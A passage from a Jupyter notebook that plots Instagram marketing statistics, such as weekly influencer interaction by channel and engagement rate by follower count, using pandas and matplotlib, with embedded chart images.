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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import pandas as pd #import pandas\n", + "import matplotlib.pyplot as plt #import matplotlib\n", + "\n", + "stats = pd.read_csv(\"D:\\DataScience\\Instagram DataAnalysis\\ Marketing Statistics\\MS4.csv\", header=0, sep=\",\")\n", + "print(\"Users interacting with influencers weekly on Instagram, vs other channels:\")\n", + "print(\"_________________________________________________________________________________________________________________________\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats) #make dataframe\n", + "x = list(df.iloc[:, 0]) #get 0th col\n", + "y = list(df.iloc[:, 1]) #get 1st col\n", + "c = ['yellow', 'red', 'black', 'yellow', 'blue', 'orange'] #colors\n", + "\n", + "plt.title(\"Users interacting with influencers weekly on Instagram, vs other channels :\")\n", + "plt.xlabel(\"Channel\")\n", + "plt.ylabel(\"users_engaging_weekly\")\n", + "plt.bar(x, y, color=c) #plot bargraph\n", + "plt.show() #show plotting" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Instagram influencer engagement rate by follower count, vs other platforms" + ] + }, + { + "cell_type": "code", + "execution_count": 93, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + " Follower_count Instagram(%) TikTok(%) Twitter(%)\n", + "0 <1000 7.2 9.4 1.4\n", + "1 <5000 5.3 8.6 1.2\n", + "2 <10000 3.7 8.1 0.6\n", + "3 <100000 2.1 7.2 0.4\n", + "4 100000+ 1.15.3 0.3 NaN\n" + ] + }, + { + "data": { + "image/png": "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223suuuubLDBBlx11VW9fKQkSX2R3U0lSWqAP/7xj9x1112svfba7Ljjjtx8881svvnmXHHFFdx7771EBM899xyrrroq++23H/vuuy8HH3wwAKuuuionnHACAKeffjrf/va3+dd//VdOOukkTjrpJA4//HCmTZu2zPPddttt3HnnndVPVVx44YWsvvrqvPTSS2y33XYcdNBBjB49mhdeeIFdd92Vs88+mwMPPJDTTz+da665hrvvvptjjjmG/fbbr3cPlCSpz7ElUZKkBth+++0ZO3YsAwYMYMKECcyfP5+VV16ZoUOH8sEPfpDLL7+c4cOHd7junXfeyU477cT48eO55JJLuOuuuwCYOXMmhxxyCABHHHHE656v9rcMzzvvPLbeemsmTZrEI488wp///GcAhgwZwl577QXA+PHj2WWXXRg8eDDjx49n/vz5PX0YJEkrIEOiJEkNsNJKK1XDAwcOZOnSpQwaNIjbbruNgw46iCuvvLIKa+0de+yxfO1rX2PevHl8/vOfr+t3CkeMGFENz5gxg9/+9rfMnDmTuXPnss0221TbGDx4cPWzFgMGDKjqHDBgAEuXLn3D+ytJah2GREmSesmSJUtYtGgR73vf+zj33HOZM2cOAKNGjWLx4sXVcosXL2attdbi1Vdf5ZJLLqmmT5o0iZ/85CcAXHbZZZ0+z6JFi1httdUYPnw49957L7feemtjdkiS1JK8JlGS1JLq+cmK3rZ48WL2339/Xn75ZTKTr3zlKwAcdthhnHDCCZx33nn8+Mc/5otf/CLvfOc7WW+99Rg/fnwVIM8991w+8IEP8OUvf5l99tmHVVZZpcPn2WuvvZg2bRpbbbUVb3/725k0aVKv7aMkacUXbXdb608mTpyYs2bNanYZrWtqx19aVihTFzW7AknL6Z577mGzzTZrdhkN9eKLLzJs2DAigssuu4xLL72Un/70pw1/3v5wbCWpv4mI2Zk5saN5tiRKkrSCmD17Nh/72MfITFZddVUuvPDCZpckSWpBhkRJklYQO+20E3Pnzm12GZKkFueNayRJkiRJFUOiJEmSJKliSJQkSZIkVQyJkiRJkqSKN66RJLWmnv45nm5+GmfhwoXsvvvuADz++OMMHDiQMWPGcP/993P00Ufz9a9/nalTpzJy5EhOOeWUZdadPn06e+65J2uvvXaXzzFu3DhmzZrFGmus8eb2RZKkLhgSJUnqAaNHj2bOnDkAnYbBzkyfPp0tt9yy25AoSVJvsLupJEkNNGPGDPbdd9/XTb/gggvYe++9ufjii5k1axZHHnkkEyZM4KWXXuLaa69lm222Yfz48Rx//PG88sory6z70ksvsddee3HBBRf01m5IkvoRQ6IkSb3sa1/7Gj/72c+48sorOeqoo5g4cSKXXHIJc+bMISI49thj+cEPfsC8efNYunQp3/jGN6p1lyxZwvvf/36OOOIITjjhhCbuhSSpVRkSJUnqRRdffDG/+tWv+MlPfsJKK630uvn33Xcf66+/PptssgkAxxxzDDfccEM1f//99+e4447j6KOP7rWaJUn9iyFRkqRetOWWWzJ//